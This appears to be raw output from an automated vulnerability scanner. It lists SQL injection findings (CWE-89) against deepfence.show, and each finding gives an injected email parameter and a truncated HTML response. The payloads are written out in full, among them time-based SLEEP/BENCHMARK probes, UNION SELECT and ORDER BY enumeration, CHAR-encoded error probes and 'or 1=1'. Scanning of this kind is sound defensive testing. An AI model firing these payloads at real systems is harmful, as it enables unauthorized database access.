<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #713
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #714
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #715
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io or pg_SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #716
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #717
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1) or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #718
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #719Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #720
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 7
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #721
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #722
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #723
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1-true
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #724
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) 
AND 'vRxe'='vRxe
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #725
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)+CHAR(113)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #726
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #727
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin' or 1=1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
